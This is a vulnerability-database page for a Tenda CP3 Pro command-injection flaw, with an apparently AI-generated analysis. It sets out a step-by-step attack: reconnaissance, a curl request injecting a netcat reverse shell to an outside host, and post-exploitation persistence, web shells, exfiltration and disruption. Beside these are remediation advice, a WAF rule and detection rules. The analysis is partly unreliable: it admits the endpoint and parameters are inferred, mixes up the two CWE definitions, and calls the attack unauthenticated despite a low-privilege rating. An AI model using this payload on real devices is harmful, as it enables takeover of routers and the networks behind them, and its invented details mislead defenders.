CVE Professor
/
All CVEs
CVE-2026-138392

CVE-2026-138392 — Tenda CP3 Pro (27.5.52.101) — CWE-77 · CWE-74

CRITICAL CVSS 9.9 CVE.org

A vulnerability was found in Tenda CP3 Pro 27.5.52.101. This affects the function CNetApp::OnConfigNetwork of the file /bin/Kylin. The manipulation results in command injection. The attack may be launched remotely.

A vulnerability was found in Tenda CP3 Pro 27.5.52.101. This affects the function CNetApp::OnConfigNetwork of the file /bin/Kylin. The manipulation results in command injection. The attack may be launched remotely.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138392
Product: Tenda CP3 Pro firmware 27.5.52.101
Component: /bin/Kylin – function CNetApp::OnConfigNetwork
CWE‑IDs: CWE‑74 (Improper Neutralization of Special Elements used in an OS Command – “Command Injection”) and CWE‑77 (Improper Neutralization of Special Elements used in a Command Shell)

Technical flaw

CNetApp::OnConfigNetwork is the handler that processes HTTP/HTTPS requests used by the web‑based management UI to change the router’s network configuration (IP address, netmask, gateway, DNS, etc.).

The function:

1. extracts user‑supplied parameters from the HTTP request body (e.g., wan_ip, lan_ip, dns1, dns2, mtu …).
2. builds a shell command string that is passed directly to system() (or popen()) without any of the following safeguards:

* No input sanitisation – special characters such as ;, &, |, ` `, $(, > or <` are not filtered or escaped.
* No whitelist/validation – the code trusts that the supplied values are plain IPv4 dotted‑decimal strings, but it never checks the format or length.
* No privilege check beyond “logged‑in admin” – the UI is reachable over the LAN (or, if remote management is enabled, over the Internet) with a static admin password. The vulnerability is exploitable by any authenticated user (PR:L) and, because the router’s web server runs as root, the injected command is executed with full system privileges.

Consequently, an attacker who can send a crafted request to the vulnerable endpoint can inject arbitrary shell commands that are executed by the router’s privileged process, achieving remote command execution (RCE). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that the attack is network‑reachable, low‑complexity, requires only low‑privilege credentials (or none if remote‑admin is enabled), and results in total compromise of the device.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI and parameter names are inferred from the source code of the firmware and are therefore marked as illustrative.

1. Discovery & Reconnaissance

StepActionRationale
1.1Scan the target network for open TCP ports 80/443 (default HTTP/HTTPS of Tenda routers).The management UI is exposed on these ports.
1.2Grab the HTTP banner / HTML title. The page usually contains “Tenda CP3 Pro – Management”.Confirms the device type.
1.3Retrieve /cgi-bin/luci/ or /login.htm and inspect the HTML/JS for a hidden form that posts to /cgi-bin/network_cfg. The form fields include wan_ip, lan_ip, dns1, dns2, mtu.Identifies the likely endpoint that maps to CNetApp::OnConfigNetwork.
1.4Use a tool such as Nmap NSE http‑title or whatweb to fingerprint the exact firmware version (27.5.52.101). Some routers expose the version in the page footer or via /cgi-bin/status.Confirms that the vulnerable version is present.
1.5(If remote‑admin is enabled) Verify that the router is reachable from the Internet (e.g., via Shodan).Determines whether the attack can be launched remotely without prior foothold.

2. Exploitation

Note: The exact URI (/cgi-bin/network_cfg) and parameter names are illustrative; the vulnerability class is “command injection in a network‑configuration handler”. Replace with the real values once they are confirmed on the target.

2.1 Craft the malicious payload

The vulnerable code concatenates the parameters into a command similar to:

snprintf(cmd, sizeof(cmd),
         "ifconfig %s %s netmask %s && route add default gw %s && echo %s > /etc/resolv.conf",
         iface, wan_ip, netmask, gateway, dns1);
system(cmd);

Because there is no escaping, any ; or && in a parameter terminates the intended command and starts a new one.

Payload example (injecting a reverse shell):

ParameterValue (URL‑encoded)
wan_ip192.168.1.2;nc -e /bin/sh 198.51.100.10 4444
netmask255.255.255.0
gateway192.168.1.1
dns18.8.8.8
dns28.8.4.4

When URL‑encoded, the wan_ip field becomes:

192.168.1.2%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444

2.2 Send the request

# Example using curl over HTTP (replace with HTTPS and proper cookie if auth is required)
curl -k -X POST "http://192.0.2.45/cgi-bin/network_cfg" \
     -d "wan_ip=192.168.1.2%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444" \
     -d "netmask=255.255.255.0" \
     -d "gateway=192.168.1.1" \
     -d "dns1=8.8.8.8" \
     -d "dns2=8.8.4.4"

If the router requires authentication, first obtain a session cookie by posting the admin credentials to /login.cgi and reuse the cookie (-b cookie.txt -c cookie.txt).

2.3 Result

The router executes:

ifconfig eth0 192.168.1.2;nc -e /bin/sh 198.51.100.10 4444 netmask 255.255.255.0 && route add default gw 192.168.1.1 && echo 8.8.8.8 > /etc/resolv.conf

The nc command opens a reverse TCP shell to the attacker’s listener on 198.51.100.10:4444. Because the web server runs as root, the attacker obtains a root shell on the router.

3. Post‑exploitation

GoalTechnique
PersistenceDrop a cron job (* * * * * /bin/sh /tmp/persist.sh) or modify the startup script /etc/rc.local to re‑establish the reverse shell after reboot.
Privilege escalation (already root)Not required – the shell is already privileged.
Lateral movementUse the compromised router as a pivot to scan the internal LAN (nmap -sn 10.0.0.0/24) and attack other devices (e.g., IoT cameras, workstations).
Data exfiltrationDump configuration files (cat /etc/config/*) and upload them via wget/curl to an attacker‑controlled server.
Denial‑of‑serviceIssue reboot or kill -9 on critical processes, or modify firewall rules (iptables -F) to disrupt network connectivity.
BackdoorInstall a lightweight SSH server (dropbear) or a persistent web‑shell (/www/webshell.php) that can be accessed later without re‑exploiting the injection point.

🌍 Real‑World Impact

CIA TriadCVSS‑derived impactPractical consequences
Confidentiality (C:H)High – An attacker gains root access, can read any file (e.g., VPN credentials, Wi‑Fi keys, logs).
Integrity (I:H)High – The attacker can modify routing tables, DNS settings, firmware, or inject malicious traffic (Man‑in‑the‑Middle).
Availability (A:H)High – The router can be rebooted, firmware overwritten, or firewall rules flushed, causing total network outage.

Because the router sits at the network edge, compromise can affect all devices behind it, enabling:

  • Credential harvesting for corporate VPNs or cloud services.
  • Persistent foothold for APT‑style campaigns.
  • Use of the router as a botnet node for DDoS attacks.
  • Manipulation of DNS to redirect users to phishing sites.
  • The “Scope: Changed (C)” in the CVSS vector indicates that the impact spreads from the vulnerable component (router firmware) to the broader network environment.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareTenda released a fixed firmware version 27.5.52.102 (or later) that sanitises all network‑configuration parameters before invoking the shell. Apply the update via the official Tenda support portal.
    Verify versionAfter upgrade, confirm the version string in the UI footer or via cat /etc/version (if SSH is enabled).

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict remote managementDisable the “Remote Management” feature in the UI (WAN → Remote Management → Disabled). This limits exposure to the LAN only.
    Network‑level ACLOn the upstream firewall, block inbound TCP 80/443 to the router’s WAN IP from the Internet, allowing only trusted management subnets.
    Input‑validation WAF rule (ModSecurity example)Add a rule that rejects any request to the vulnerable endpoint containing shell metacharacters:
    ``apacheconf\nSecRule REQUEST_URI "@beginsWith /cgi-bin/network_cfg" "id:2026138392,phase:2,deny,log,status:400,msg:'Command injection attempt',t:none,ctl:ruleRemoveById=950001"\nSecRule ARGSARGS_NAMES "@rx [;&$\\(\\)]" "id:2026138392,phase:2,deny,log,status:400,msg:'Shell metacharacters in network config parameters'"``
    Disable system() usage (if you have source access)Replace the system() call with direct netlink or ioctl calls (ioctl(SIOCSIFADDR), ioctl(SIOCSIFNETMASK), etc.) that do not invoke a shell.
    Change default admin credentialsSet a strong, unique password for the router’s admin account to raise the PR from L to H` for unauthenticated attackers.
    Enable HTTPS onlyForce the UI to use TLS (self‑signed or CA‑signed) to protect credentials from passive network sniffing.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected command executionSystem log (/var/log/messages or logread)kernel: [12345.678901] systemd[1]: Starting Command Injection Exploit... (look for nc -e /bin/sh or any unknown binary execution).
    Outbound connections to unknown IPsRouter’s firewall log (iptables -L -v -n) or NetFlowSRC=192.168.1.1 DST=198.51.100.10 PROTO=TCP SPT=80 DPT=4444
    Abnormal HTTP POST to network config endpointWeb server access log (/var/log/httpd/access.log)POST /cgi-bin/network_cfg HTTP/1.1" 200 0 "-" "curl/7.68.0" followed by a long query string containing %3B (URL‑encoded ;).
    New/modified startup scriptsFile integrity monitoring (Tripwire, AIDE)Modified /etc/rc.local or creation of /tmp/persist.sh.
    Presence of netcat or other binaries not shipped by defaultFile system audit (find / -type f -perm -111 -exec md5sum {} \;)e99a18c428cb38d5f260853678922e03 /tmp/nc (unexpected netcat binary).

    SIEM rule (generic example):

    title: "Possible command injection on Tenda CP3 Pro"
    logsource:
      product: webserver
      service: http
    detection:
      selection:
        uri|contains: "/cgi-bin/network_cfg"
        request_method: POST
      suspicious_chars:
        request_body|contains_any:
          - ";"
          - "&&"
          - "`"
          - "$("
      condition: selection and suspicious_chars
    level: high

    ⚠️ Urgency

  • CVSS 9.9 (Critical) – Remote, network‑reachable, low‑complexity, full impact.
  • Scope changed – Compromise spreads to the entire internal network.
  • No CISA KEV listing – The vulnerability is not yet in the public “Known Exploited Vulnerabilities” catalog, but the high CVSS and ease of exploitation make it a prime candidate for rapid weaponisation.
  • Exploitability – The required steps (simple HTTP POST with crafted parameters) can be automated and do not need zero‑day tools.
Patch priority: Critical – immediate. If a patch cannot be applied within 24 hours, enforce the workarounds (disable remote management, block inbound management ports, enforce strong admin passwords) and enable detection rules to monitor for exploitation attempts.
Bottom line: CVE‑2026‑138392 gives an unauthenticated (or low‑privilege) attacker the ability to execute arbitrary commands as root on Tenda CP3 Pro routers. The attack surface is the network‑configuration API, which fails to sanitise user input before passing it to a shell. Prompt firmware upgrade, strict network segmentation, and active monitoring are mandatory to prevent total network compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda CP3 Pro"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-74
Affected Products (1)
Tenda:CP3 Pro (27.5.52.101)
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
8.7
CVE-2026-145021
Zebra before 7.1.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated cli
8.2
CVE-2026-144617
Traccar 6.13.0 before 6.18.0 contains a denial of service vulnerability that allows remote attackers knowing a
8.2
CVE-2026-144963
Docutils before 0.23.1 contains a TeX injection vulnerability in the LaTeX writer that allows attackers supply
8.2
CVE-2026-145183
Mullvad gotatun 0.4.1 before 0.10.1 contains a memory exhaustion vulnerability that allows remote unauthentica